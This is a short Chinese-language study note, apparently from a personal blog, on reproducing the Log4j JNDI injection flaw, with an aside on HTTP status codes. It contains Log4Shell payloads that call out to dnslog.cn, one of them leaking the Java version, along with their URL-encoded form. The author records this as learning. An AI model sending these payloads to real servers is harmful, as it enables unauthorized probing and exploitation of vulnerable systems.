前言:
发现自己不会挖掘漏洞,遂学习常见漏洞复现
思考:
什么是log4j,是apache下的java应用常见的开源日志库,也就是java语言,中间件为apache
内容:
{jndi:ldap://{sys:java.version}.gf3q2v.dnslog.cn}
dnslog获取的域名
发现有传入参数,于是在网上找了可以传入dnslog的域名
{jndi:ldap://{sys:java.version}.gf3q2v.dnslog.cn
但是400错误了,于是在网上找了400错误是什么。那就是服务器处理不了的请求,
参考解析HTTP错误码400 Bad Request及其常见原因与解决方法-CSDN博客
1xx:信息,表示服务器已接收到请求并且正在处理。
2xx:成功,表示服务器成功处理了请求。
3xx:重定向,表示需要进一步操作以完成请求。
4xx:客户端错误,表示服务器无法处理请求。
5xx:服务器错误,表示服务器在处理请求时发生了错误。
我在网上好像看到答案了,说是400错误是由于,客户端传输过程中进行解码了
我的猜想是对的,但是不是用那个payload解的,
发现那个payload也可以,我看网上多写了空格!!!也是需要url编码的
推荐网站CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码
{jndi:ldap://{sys:java.version}.gf3q2v.dnslog.cn}
是用这个${jndi:ldap://xyr4kk.dnslog.cn}
但是要编码,编码之后为
%24%7Bjndi%3Aldap%3A//xyr4kk.dnslog.cn%7D